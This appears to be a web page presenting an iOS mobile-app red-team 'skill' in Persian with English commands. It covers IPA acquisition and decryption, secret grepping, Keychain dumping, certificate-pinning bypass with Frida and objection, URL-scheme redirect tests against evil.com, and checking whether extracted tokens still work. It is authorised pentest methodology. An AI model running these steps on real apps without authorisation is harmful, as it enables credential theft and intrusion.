ios-redteam-pipeline

skillupstreamپلتفرم سازمانیگزارش: ۰۱۴ کیلوبایت۱۲ بخش

‏پایپ‌لاین end-to-end رد-تیم iOS — اکquisitions مربوط به IPA ‏(استخراج App Store، ‏TestFlight، ‏sideload سازمانی/ad-hoc)، تحلیل استاتیک class-dump/Hopper/Ghidra، ‏grep مربوط به secret مربوط به Info.plist + entitlements + ‏Keychain، ‏misconfig مربوط به ATS، ‏enumeration مربوط به URL-scheme و instrumentاتور runtime.

توضیح انگلیسی اصلی (مرجع)

End-to-end iOS red-team pipeline — IPA acquisition (App Store extraction, TestFlight, enterprise/ad-hoc sideload), class-dump/Hopper/Ghidra static analysis, Info.plist + entitlements + Keychain secret extraction, App Transport Security (ATS) misconfig + certificate-pinning bypass (frida-ios-dump, objection, SSL Kill Switch 2), URL-scheme / Universal Link hijack, exported-service enumeration, Frida runtime instrumentation. Companion to apk-redteam-pipeline for the iOS side of a mobile app catalogue. Use when target has an iOS app (App Store listing, TestFlight link, enterprise MDM distribution), when an IPA URL is found hosted on a web server, or when post-recon mentions "iOS app" / "mobile app" in scope alongside an Apple developer account.

نقشه‌ی ساختار اسکیل

ios-redteam-pipelineپلتفرم سازمانی · ۱۲ بخش۱سطح حمله و سیگنال‌ها۲بخش تکمیلی۳بخش تکمیلی۴بخش تکمیلی۵بخش تکمیلی۶تکنیک‌های Bypass۷سطح حمله و سیگنال‌ها۸بخش تکمیلی۹بخش تکمیلی۱۰Payload و الگوهای تشخیص۱۱ابزار و نکات عملیاتی۱۲دروازه‌ی اعتبارسنجی
سطح حمله و سیگنال‌ها · ۲بخش تکمیلی · ۷تکنیک‌های Bypass · ۱Payload و الگوهای تشخیص · ۱دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

سطح حمله و سیگنال‌ها

When to use this skill
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏تریگر کن وقتی:

  • ‏‏recon یک یا چند اپ زیر صفحه‌ی ناشر Apple Developer / ‏App Store هدف پیدا می‌کند
  • ‏لینک عمومی TestFlight یا .ipa/manifest.plist سازمانی/ad-hoc ‏(نصب OTA) پیدا می‌شود
  • ‏اپ مشتری-محور، پورتال dealer/partner یا اپ موبایل همراه-کارمند روی iOS منتشر می‌شود
  • ‏برنامه‌ی باگ‌بانتی صراحتاً موبایل را در scope قرار داده

‏استفاده نکن وقتی:

  • ‏هدف فقط وب است و کلاینت موبایل ندارد — معادل‌های API سمت-سرور از قبل با تحلیل باندل-JS سمت وب پوشش داده شده‌اند
  • ‏ارزیابی‌های فقط-سمت-سرور بدون کلاینت موبایل در scope
اسکیل‌های مرتبط:
۲

بخش تکمیلی

Stage 0 — Inventory all org-owned iOS apps
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# App Store search API (no auth, no scraping needed)
curl -s "https://itunes.apple.com/search?term=<brand>&country=us&entity=software&limit=50" | python3 -m json.tool

# Pull the full metadata for a known bundle ID (once you have one)
curl -s "https://itunes.apple.com/lookup?bundleId=com.<brand>.app&country=us"

‏استخراج کن: trackId، bundleId، sellerName ‏(اکانت توسعه‌دهنده — برای یافتن اپ‌های sibling پایوت کن)، version، releaseNotes ‏(تغییر‌لاگ‌ها اغلب به رفتار API منسوخ/حذف‌شده اشاره می‌کنند — به hunt-shadow-api تغذیه می‌شود).

‏با bundle IDهای اپ-sibling سطح‌داده‌شده از inventoryهای APK مربوط به اندروید cross-reference کن ‏(همان بک‌اند، endpointهای مشترک).

اسکیل‌های مرتبط:
۳

بخش تکمیلی

Stage 1 — IPA acquisition
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

اولیه: از دستگاه واقعی که کنترل می‌کنی ‏(برای اپ خریداری/رایگان به jailbreak نیاز نیست)
# Install the app on a real device via Apple Configurator 2 or Xcode, then pull the .ipa
# Apple Configurator 2 (macOS): Devices > select device > right-click installed app > "Save to..."
# Or via libimobiledevice:
brew install libimobiledevice ideviceinstaller
ideviceinstaller -l              # list installed apps + bundle IDs
ثانویه: ‏TestFlight ‏(اگر برنامه بتاهای عمومی توزیع می‌کند)

‏لینک عمومی TestFlight را باز کن، از طریق اپ TestFlight نصب کن، بعد مثل بالا استخراج کن. ‏buildهای TestFlight مکرراً کمتر سخت‌شده‌اند.

سومیه: ‏binary رمزگشایی‌شده ‏(فقط اگر از دستگاه jailbroken استخراج شده)

‏باینری‌های App Store روی‌دیسک FairPlay-encrypted‌اند؛ ‏binary کپی‌شده از دستگاه jailbroken به رمزگشایی runtime نیاز دارد ‏(frida-ios-dump، bagbak یا flexdecrypt) قبل از اینکه ابزارهای استاتیک بتوانند معنادار بخوانندش:

# itms-services:// links embed a manifest.plist with a direct .ipa URL
curl -s "https://<target>/manifest.plist" | plutil -convert xml1 -o - -
# Look for <key>software-package</key> — that URL is a directly downloadable, unencrypted IPA
curl -sk -L "<software-package-url>" -o target.ipa
pip install --break-system-packages frida-tools
# with frida-server running on the jailbroken device and the app in foreground:
python3 dump.py <bundle_id>          # frida-ios-dump — outputs a decrypted .ipa
۴

بخش تکمیلی

Stage 2 — Unpack and static analysis
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# An IPA is just a zip
unzip -o target.ipa -d extracted_target/
cd extracted_target/Payload/*.app

# Info.plist — bundle ID, URL schemes, ATS config, entitlements hint
plutil -convert xml1 -o - Info.plist

# Entitlements — codesign reads the .app bundle (or the Mach-O binary), NOT Info.plist
codesign -d --entitlements :- Payload/<AppName>.app 2>/dev/null || \
  security cms -D -i embedded.mobileprovision | plutil -convert xml1 -o - -

# class-dump for Objective-C symbol/class recovery (compiled binary, not the .app bundle)
brew install class-dump
class-dump -H <AppBinaryName> -o headers/

# Swift binaries: class-dump won't show much — use Hopper, Ghidra, or `nm`/`strings` instead
nm -a <AppBinaryName> | grep -i swift | head -50
strings -a <AppBinaryName> > strings_target.txt

‏برای پاس triage سریع بدون دیس‌اسمبلر، دامپ strings به‌تنهایی معمولاً اکثر چیزی که مرحله‌ی ۳ دنبالش است را سطح می‌دهد.

۵

بخش تکمیلی

Stage 3 — Secret grep (same catalog as apk-redteam-pipeline, iOS-specific sources added)
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# URL grep — owned-domain references
grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net)[a-zA-Z0-9./_?=&%-]*' strings_target.txt | sort -u

# Cloud credentials (same 60-pattern catalog as Android — reuse verbatim)
grep -oE 'AKIA[A-Z0-9]{16}'                             # AWS Access Key
grep -oE 'AIza[A-Za-z0-9_-]{35}'                        # Google API key
grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_target.txt   # JWT

# iOS-specific: GoogleService-Info.plist (Firebase config bundled per-platform)
find extracted_target -iname "GoogleService-Info.plist" -exec plutil -convert xml1 -o - {} \;
# Look for API_KEY, PROJECT_ID, STORAGE_BUCKET, GCM_SENDER_ID, GOOGLE_APP_ID — same Firebase
# public-read tests as apk-redteam-pipeline Stage 6.

# iOS-specific: hardcoded config plists shipped in the bundle
find extracted_target -iname "*.plist" ! -iname "Info.plist" -exec sh -c 'echo "=== {} ==="; plutil -convert xml1 -o - "{}"' \;

# App Transport Security exceptions (Info.plist) — tells you if arbitrary/insecure loads are allowed
plutil -extract NSAppTransportSecurity xml1 -o - Info.plist 2>/dev/null
آیتم‌های Keychain باقی‌مانده در backup ‏(اگر بکاپ دستگاه داری، رمزگذاری‌شده یا نه)
pip install --break-system-packages iphone_backup_decrypt   # for encrypted local backups
# keychain-dumper (run ON a jailbroken device) for live keychain contents:
./keychain-dumper -e   # -e also decodes entitlements per item, showing which app owns which secret
اسکیل‌های مرتبط:
۶

تکنیک‌های Bypass

Stage 4 — App Transport Security (ATS) misconfig + certificate-pinning bypass
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

چک کردن برای غیرفعال‌سازی سراسری ATS ‏(رایج‌ترین misconfig شبکه‌ی iOS)
plutil -extract NSAppTransportSecurity xml1 -o - Info.plist

‏پرچم‌های قرمز در خروجی:

  • ‏‏NSAllowsArbitraryLoads = true در سطح بالا — ‏HTTP ‏(متن‌باز) همه‌جا و سراسر-اپ مجاز.
  • ‏‏NSExceptionAllowsInsecureHTTPLoads = true per-دامین برای دامینی که ترافیک authenticated می‌برد.
  • ‏‏NSAllowsArbitraryLoadsInWebContent یک استثنای متمایز و مکرراً-نادیده‌گرفته‌شده از تنظیم ATS سطح-بالا است.
pip install --break-system-packages frida-tools objection
objection --gadget <bundle_id> explore
# inside objection:
ios sslpinning disable
# Pull a maintained universal BoringSSL-layer bypass and run it:
frida -U -f <bundle_id> -l ios-ssl-bypass.js --no-pause
مراحل استخراج‌شده
  1. ۱‏‏`NSAllowsArbitraryLoads = true` در سطح بالا — ‏HTTP ‏(متن‌باز) همه‌جا و سراسر-اپ مجاز.
  2. ۲‏‏`NSExceptionAllowsInsecureHTTPLoads = true` per-دامین برای دامینی که ترافیک authenticated می‌برد.
  3. ۳‏‏`NSAllowsArbitraryLoadsInWebContent` یک استثنای متمایز و مکرراً-نادیده‌گرفته‌شده از تنظیم ATS سطح-بالا است.
۷

سطح حمله و سیگنال‌ها

Stage 5 — URL scheme / Universal Link enumeration
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

# Custom URL schemes (CFBundleURLTypes) — anything can invoke these via Safari/another app
plutil -extract CFBundleURLTypes xml1 -o - Info.plist

# Universal Links / Associated Domains (applinks:) — requires a matching apple-app-site-association
plutil -extract com.apple.developer.associated-domains xml1 -o - Info.plist 2>/dev/null
curl -s "https://<domain>/.well-known/apple-app-site-association" | python3 -m json.tool

‏برای هر اسکیم سفارشی پیداشده ‏(مثلاً myapp://):

  • ‏از Safari/Notes تریگرش کن و ببین اپ با پارامترها چه می‌کند:

‏myapp://reset-password?token=x&redirect=https://evil.com — آیا اپ به پارامتر redirect/url/callback مهاجم‌داده‌شده اعتماد و آن را در WebView لود می‌کند ‏(open-redirect/phisging)؟

  • ‏‏Universal Links ‏(applinks در entitlements) راه جایگزین ورود همان پارامترهاست — اگر دامنه associated غایب باشد، هر دو مسیر را برای همان سطح تزریق-پارامتر تست کن.
۸

بخش تکمیلی

Stage 6 — Runtime instrumentation (Frida / objection)
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏به دستگاه jailbroken نیاز دارد ‏(checkra1n/palera1n برای iOS قدیمی‌تر، یا دستگاه مجازی Corellium) — برخلاف اندروید، معادل عملی emulator-روت‌شده برای iOS نیست.

# Setup
pip install --break-system-packages frida-tools objection
# Install frida-server on the jailbroken device via Cydia/Sileo (frida repo), matching the
# host frida-tools version exactly — version skew is the #1 cause of "failed to attach" errors.

# Full interactive exploration
objection --gadget <bundle_id> explore
# Inside objection:
ios hooking watch class <ClassName>
ios hooking watch class_method <Class>.<method> --dump-args --dump-return
ios keychain dump
ios plist dump
ios cookies get
کپچر ترافیک شبکه ‏(وقتی pinning دور زده شد)
mitmproxy --listen-port 8080
# Set the device Wi-Fi proxy to host:8080, install the mitmproxy CA via http://mitm.it on-device
# (Settings > General > VPN & Device Management > trust the cert, then enable full trust under
# Certificate Trust Settings — iOS requires this second step, unlike Android)
۹

بخش تکمیلی

Decision tree — what to do with what you find
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

یافتهحرکت بعدی
‏‏NSAllowsArbitraryLoads = trueتأیید کن توکن/credential واقعاً روی HTTP عبور می‌کند — برای بهره‌برداری به موقعیت شبکه نیاز دارد، ولی به‌تنهایی یافته‌ی واقعی است ‏(سطح-config، برای گزارش به MITM نیاز نیست)
‏‏JWT / ‏کلید API هاردکد در دامپ stringsمثل اندروید — تست کن توکن هنوز کار می‌کند، scope چیست و چه داده‌ای برمی‌گرداند
‏‏URL scheme با پارامترهای تزریق‌پذیربه WebView-load یا open-redirect زنجیر کن؛ همان پارامترهای تزریق‌پذیر را حمل می‌کند
‏‏Entitlements با keychain-access-groups مشترک با اپ‌های دیگرخواندن Keychain بین-اپی — اپ sibling مصالحه‌شده secretهای این اپ را می‌خواند
‏نسخه‌ی API قدیمی‌تر ارجاع‌شده نسبت به چیزی که اپ وب جاری فرامی‌خواندبه hunt-shadow-api برای version-diffing تحویل بده
۱۰

Payload و الگوهای تشخیص

Anti-patterns
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  • ‏فرض نکن App Store = ‏FairPlay-encrypted به jailbreak نیاز دارد — بیلدهای TestFlight و سازمانی/ad-hoc مکرراً رمزگذاری نشده‌اند و به هیچ مرحله‌ی رمزگشایی نیاز ندارند. همیشه کانال توزیع را قبل از رسیدن به frida-ios-dump چک کن.
  • ‏‏باینری‌های Swift را به‌خاطر شکست class-dump رد نکن — از strings و نمادهای metadata مربوط به Swift استفاده کن؛ Obj-C class-dump فقط پُل‌های @objc را می‌بیند.
  • ‏فرض نکن ATS خاموش همه‌جا هست — NSAllowsArbitraryLoadsInWebContent استثنای متمایز و مکرراً-نادیده‌گرفته‌شده از تنظیم ATS سطح-بالاست.
  • ‏‏instrumentation مربوط به Frida را علیه دستگاه Apple ID شخصی/پروداکشن اجرا نکن — از دستگاه تست jailbroken اختصاصی یا نمونه‌ی Corellium استفاده کن.
۱۱

ابزار و نکات عملیاتی

Tooling install (one-time)
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

brew install libimobiledevice ideviceinstaller class-dump
pip install --break-system-packages frida-tools objection iphone_backup_decrypt
# Jailbroken test device (checkra1n/palera1n) or a Corellium virtual iOS device for runtime work
# frida-server installed on-device via the Frida Cydia/Sileo repo
۱۲

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل apk-redteam-pipeline — همتای اندروید؛ وقتی هدف روی هر دو پلتفرم منتشر می‌شود هر دو را اجرا کن. ‏bundle IDهای sibling و endpointهای بک‌اند مشترک مکرراً بین-پلتفرم سطح می‌دهند.
  • ‏اسکیل hunt-shadow-api — بیلدهای موبایل ‏(iOS و اندروید به‌طور یکسان) اغلب نسخه‌ی API قدیمی‌تری از چیزی که اپ وب جاری فرامی‌خواند را هاردکد می‌کنند؛ توکن‌های استخراج‌شده این‌جا مستقیم به تست الگوریتم-confusion مربوط به JWT و mass-assignment آنجا تغذیه می‌شوند.
  • ‏اسکیل evidence-hygiene — آیتم‌های Keychain و secretهای استخراج‌شده قبل از شامل‌شدن در گزارش به پاک‌سازی نیاز دارند.
  • ‏اسکیل offensive-osint — ‏enumeration مربوط به صفحه‌ی توسعه‌دهنده‌ی App Store بخشی از گراف recon سازمانی پهن‌تر است؛ با lookupهای certificate-transparency برای همان برند جفت کن.
مراحل استخراج‌شده
  1. ۱‏اسکیل `apk-redteam-pipeline` — همتای اندروید؛ وقتی هدف روی هر دو پلتفرم منتشر می‌شود هر دو را اجرا کن. ‏bundle IDهای sibling و endpointهای بک‌اند مشترک مکرراً بین-پلتفرم سطح می‌دهند.
  2. ۲‏اسکیل `hunt-shadow-api` — بیلدهای موبایل ‏(iOS و اندروید به‌طور یکسان) اغلب نسخه‌ی API قدیمی‌تری از چیزی که اپ وب جاری فرامی‌خواند را هاردکد می‌کنند؛ توکن‌های استخراج‌شده این‌جا مستقیم به تست الگوریتم-confusion مربوط به JWT و mass-assignment آنجا تغذیه می‌شوند.
  3. ۳‏اسکیل `evidence-hygiene` — آیتم‌های Keychain و secretهای استخراج‌شده قبل از شامل‌شدن در گزارش به پاک‌سازی نیاز دارند.
  4. ۴‏اسکیل `offensive-osint` — ‏enumeration مربوط به صفحه‌ی توسعه‌دهنده‌ی App Store بخشی از گراف recon سازمانی پهن‌تر است؛ با lookupهای certificate-transparency برای همان برند جفت کن.